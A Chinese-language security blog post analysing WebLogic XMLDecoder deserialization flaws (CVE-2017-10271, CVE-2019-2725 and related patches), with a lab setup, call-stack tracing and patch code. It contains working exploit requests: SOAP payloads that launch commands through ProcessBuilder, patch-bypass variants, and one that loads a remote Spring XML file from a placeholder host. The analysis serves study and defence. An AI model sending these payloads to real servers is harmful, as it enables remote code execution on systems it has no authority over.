WebLogic-XMLDecoder反序列化分析


基础

关于java反序列化,可以参考这篇文章,写的很详细深入@gyyyy《浅析Java序列化和反序列化》
XMLDecoder是java中的一个类,不是Weblogic特有的,在这个位置java.beans.XMLDecoder,个人理解和传统反序列化类似,只是载体是通过XML来描述序列化数据。

下面来看一个解析xml导致反序列化命令执行的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class test {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("/Users/passer6y/Documents/Code/java/weblogic/test.xml")));
Object result = d.readObject();
d.close();
}
}

test.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/></void>
</java>

-w1247

运行后可以发现,XML转换过来的java代码即

1
2
3
4
5
import java.lang.ProcessBuilder;
import java.lang.String;

String[] cmdList = {"/bin/bash", "-c", "open -a Calculator"};
new ProcessBuilder(cmdList).start();

关于XMLDecoder解析流程可以看这篇文章:XMLDecoder解析流程分析

环境搭建

vulhub环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

这里需要远程调试,修改配置:docker-compose.yml

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

执行docker-compose up -d,拉起容器后,进入容器,修改配置:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh,添加debug配置:

1
2
debugFlag="true"
export debugFlag

-w871

重启容器,再进入容器查看端口:
-w763

拷贝源码:

1
2
docker cp 0e1ef58d4a70:/root/Oracle/Middleware/wlserver_10.3 ./
docker cp 0e1ef58d4a70:/root/Oracle/Middleware/modules ./

-w1319

-w1496

折腾好之后,下好断点,浏览器触发请求,结果巨慢,加载了很久。

索性在本地装一个,官网下载安装的jar包,使用这个命令安装java -Dspace.detection=false -jar wls1036_generic.jar(不加-Dspace.detection=false参数会爆空间不足)

安装过程教程:https://blog.csdn.net/weixin_40102675/article/details/88180647

装好后启动weblogic

1
2
cd ~/Oracle/Middleware/user_projects/domains/base_domain/bin
./startWeblogic.sh

https://127.0.0.1:7001/console,输入密码weblogic weblogic@123
-w762

其他debug配置和上述一样。

漏洞复现

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=mgr2tl959j6r7qbi9dadh0tsv5
Connection: close
Content-Type: text/xml
Content-Length: 599

<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

-w1288

漏洞分析

从poc的路由来看,wls-wsat这个接口出了问题,找到该war包的web.xml配置,定位到其对应的Servlet:weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl
-w1538

这个即为漏洞作用的接口,先从exp的响应包返回的调用栈来跟一下processRequest:
-w1061

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
-w1393
var1即我们传入的XML,var3为soap标签解析结果,跟进weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
-w1407
var4为poc关键部分,跟进receive函数,/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class#receive
-w1196

一直往下跟:
-> /weblogic/workarea/WorkContextLocalMap.class#receiveRequest
-> /weblogic/workarea/spi/WorkContextEntryImpl.class#readEntry
-> /weblogic/wsee/workarea/WorkContextXmlInputAdapter.class#readUTF
-w867
调用了xmlDecoder的readObject函数进行反序列化操作,最终造成命令执行。

调用栈:
-w533

补丁

weblogic补丁只给付费用户发,我也就只能康康别人文章里的补丁来分析了。

这里补丁在WorkContextXmlInputAdapter中添加了validate验证,限制了Object标签,从而限制通过XML来构造类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

这个版本对应的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">  
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

也正是因为这样的黑名单限制,所以很快就出了CVE-2017-10271。

CVE-2017-10271

这个版本对应的poc,即和上边的区别即将object修改成void,就轻松绕过了补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">  
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

简单看了一些XMLDecoder解析流程分析文章中的分析,VoidElementHandler类继承的ObjectElementsHandler类,只改写了isArgument函数,而在整个触发过程中并无影响,所以此处使用void标签与object标签没有区别。

而补丁的形式依然是黑名单限制标签的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

CVE-2019-2725

时隔两年:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="https://www.w3.org/2005/08/addressing" xmlns:asy="https://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<class> <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>https://xxxx</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

使用class标签构造类,但是由于限制了method函数,无法进行函数调用,只能从构造方法下手,且参数为基本类型:

  • 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  • 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  • 构造函数直接有执行命令的操作,执行命令可控。
  • 有其它的可能导致rce的操作,比如表达式注入之类的。

网上通用的有:

  • FileSystemXmlApplicationContext
  • UnitOfWorkChangeSet

这次的修复最终将class标签给禁用了。

cve-2019-2729

https://xz.aliyun.com/t/7116
jdk1.7比jdk1.6多了几个标签propertyfield标签。通过调用静态属性的getset方法来触发。

最后

能力有限,从搭建到复现分析花了不少时间,在过程中也学习收获不少。最后感谢@hu3sky师傅的帮助,以及下面这些师傅的文章分享。

参考文章: